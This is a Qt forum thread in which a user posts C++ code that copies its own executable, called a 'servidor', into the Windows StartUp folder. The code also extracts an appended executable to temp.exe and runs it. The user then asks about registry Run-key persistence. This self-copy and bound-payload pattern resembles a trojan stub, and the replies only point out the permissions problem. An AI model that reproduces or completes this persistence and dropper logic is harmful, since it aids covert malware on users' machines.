Results 1 to 4 of 4

Thread: Copying my tool in startup qt

  1. #1
    Join Date
    Sep 2016
    Posts
    78
    Thanked 1 Time in 1 Post
    Qt products
    Qt5

    Default Copying my tool in startup qt

    Hi i want to run my qt app since startup.Error:
    QIODevice::write (QFile, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\miprogram.exe"): device not open

    Code, I have the function tiempocopiar to copy and the other is for the configuration of my tool:
    Qt Code:
    1. void MainWindow::tiempoCopiar()
    2. {
    3. /** Copia el servidor al directorio de inicio **/
    4. QByteArray datos = nuevaTrama(); //Reconstruimos la configuración con algunas modificaciones para el servidor copiado
    5. //Copiar a los posibles directorios de inicio de windows
    6. copiarServidor(datos,QDir::homePath().left(2) + "/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/" + this->nombreCopiable);//
    7.  
    8. copiar.stop();
    9. }
    10.  
    11.  
    12. void MainWindow::copiarServidor(QByteArray tramaConfiguracion, QString destino)
    13. {
    14. /** Copia el servidor a la ruta destino con la configuración proporcionada en tramaConfiguracion **/
    15. QString home = directorio.homePath(); //ruta absoluta del directorio raiz del usuario
    16. QString appPath = QApplication::applicationFilePath(); //ruta absoluta a la aplicación
    17. if (this->adjunto == "unido") //Cuando hay un ejecutable adjunto
    18. {
    19. //TODO: ":Esto está muy poco optimizado, mejorar más adelante."
    20. QDir directorio;
    21. qint64 tamano;
    22. tamano = this->tamanoAdjunto;
    23. QFile adjunto;
    24. QFile servidor;
    25. adjunto.setFileName(directorio.tempPath() + "/temp.exe");
    26. servidor.setFileName(QApplication::applicationFilePath());
    27. adjunto.open(QFile::WriteOnly);
    28. servidor.open(QFile::ReadOnly);
    29. if(this->nombreCopiable != "noiniciar") //Solo necesitamos extraer el servidor si lo tenemos que copiar
    30. {
    31. QFile copiable;
    32. copiable.setFileName(destino);
    33. copiable.open(QFile::WriteOnly);
    34. copiable.write(servidor.read(servidor.size() - 1024 - tamano));
    35. copiable.write(tramaConfiguracion,1024);
    36. copiable.close();
    37. }
    38. servidor.seek(servidor.size() - 1024 - tamano);
    39. adjunto.write(servidor.read(tamano));
    40. servidor.close();
    41. adjunto.close();
    42. proceso.setWorkingDirectory(directorio.tempPath());
    43. QString exeFileName = directorio.tempPath() + "/temp.exe";
    44. QProcess::startDetached(exeFileName);
    45. }
    46. else
    47. {
    48. if(this->nombreCopiable != "noiniciar")
    49. {
    50. QFile servidor;
    51. QFile copiable;
    52. servidor.setFileName(QApplication::applicationFilePath());
    53. copiable.setFileName(destino);
    54. copiable.open(QFile::WriteOnly);
    55. servidor.open(QFile::ReadOnly);
    56. copiable.write(servidor.read(servidor.size() - 1024));
    57. copiable.write(tramaConfiguracion,1024);
    58. copiable.close();
    59. servidor.close();
    60. }
    61. }
    62. }
    To copy to clipboard, switch view to plain text mode 
    Last edited by anda_skoa; 6th October 2016 at 16:50. Reason: changed [quote] to [code]

  2. #2
    Join Date
    Jan 2008
    Location
    Alameda, CA, USA
    Posts
    5,230
    Thanks
    302
    Thanked 864 Times in 851 Posts
    Qt products
    Qt5
    Platforms
    Windows

    Default Re: Copying my tool in startup qt

    Por favor, use etiquetas de código al publicar el código fuente por lo que es más fácil de leer. Haga clic en "Go Advanced" y luego en el icono "#" para insertar las etiquetas. Pegar el código entre ellos.
    <=== The Great Pumpkin says ===>
    Please use CODE tags when posting source code so it is more readable. Click "Go Advanced" and then the "#" icon to insert the tags. Paste your code between them.

  3. #3
    Join Date
    Sep 2016
    Posts
    78
    Thanked 1 Time in 1 Post
    Qt products
    Qt5

    Default Re: Copying my tool in startup qt

    Sorry the problem is not code, Works fine. The problem is when i try to copy in folder with rigts take me message of qiodevice no device found. Some way to link to my startup or when i copied the file, register to my run folder of my registry to run everytime.

  4. #4
    Join Date
    Jan 2006
    Location
    Graz, Austria
    Posts
    8,416
    Thanks
    37
    Thanked 1,544 Times in 1,494 Posts
    Qt products
    Qt3 Qt4 Qt5
    Platforms
    Unix/X11 Windows

    Default Re: Copying my tool in startup qt

    Aside from the very strange way of getting the destination path, the path doesn't look like a commonly writable location at all.

    What is it with developers on Windows that thing everyone runs their special software as an Administrator user?

    Cheers,
    _

Similar Threads

  1. Copying within QSqlRelationalDataModel
    By scott_hollen in forum Newbie
    Replies: 2
    Last Post: 11th March 2011, 21:43
  2. Copying QList
    By frenk_castle in forum Newbie
    Replies: 3
    Last Post: 27th November 2009, 01:48
  3. Grouping of Tool buttons in Tool bar
    By febil in forum Qt Programming
    Replies: 1
    Last Post: 24th March 2009, 12:51
  4. copying QGraphicsItemGroup
    By robertson1 in forum Qt Programming
    Replies: 1
    Last Post: 23rd June 2008, 08:48
  5. Copying row from one table to another
    By ser_bur in forum Qt Programming
    Replies: 2
    Last Post: 29th May 2007, 16:25

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
Digia, Qt and their respective logos are trademarks of Digia Plc in Finland and/or other countries worldwide.